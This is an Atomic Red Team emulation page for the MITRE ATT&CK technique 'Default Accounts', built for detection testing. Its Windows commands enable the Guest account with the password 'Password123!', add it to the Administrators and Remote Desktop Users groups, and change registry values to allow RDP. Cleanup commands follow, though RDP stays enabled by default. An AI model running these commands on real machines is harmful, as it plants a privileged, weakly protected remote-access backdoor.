# T1078.001 - Default Accounts
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1078/001)
<blockquote>Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)

Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)</blockquote>

## Atomic Tests

- [Atomic Test #1 - Enable Guest account with RDP capability and admin privileges](#atomic-test-1---enable-guest-account-with-rdp-capability-and-admin-privileges)

- [Atomic Test #2 - Activate Guest Account](#atomic-test-2---activate-guest-account)


<br/>

## Atomic Test #1 - Enable Guest account with RDP capability and admin privileges
After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,
and desktop will allow multiple RDP connections.

**Supported Platforms:** Windows


**auto_generated_guid:** 99747561-ed8d-47f2-9c91-1e5fde1ed6e0





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| guest_user | Specify the guest account | String | guest|
| guest_password | Specify the guest password | String | Password123!|
| local_admin_group | Specify the admin localgroup name | String | Administrators|
| remote_desktop_users_group_name | Specify the remote desktop users group name | String | Remote Desktop Users|
| remove_rdp_access_during_cleanup | Set to 1 if you want the cleanup to remove RDP access to machine | Integer | 0|


#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
net user #{guest_user} /active:yes
net user #{guest_user} #{guest_password}
net localgroup #{local_admin_group} #{guest_user} /add
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
```

#### Cleanup Commands:
```cmd
net user #{guest_user} /active:no >nul 2>&1
net localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /delete >nul 2>&1
if #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)
if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f >nul 2>&1)
if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /f >nul 2>&1)
```





<br/>
<br/>

## Atomic Test #2 - Activate Guest Account
The Adversaries can activate the default Guest user. The guest account is inactivated by default

**Supported Platforms:** Windows


**auto_generated_guid:** aa6cb8c4-b582-4f8e-b677-37733914abda





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| guest_user | Specify the guest account | String | guest|


#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
net user #{guest_user} /active:yes
```

#### Cleanup Commands:
```cmd
net user #{guest_user} /active:no
```





<br/>
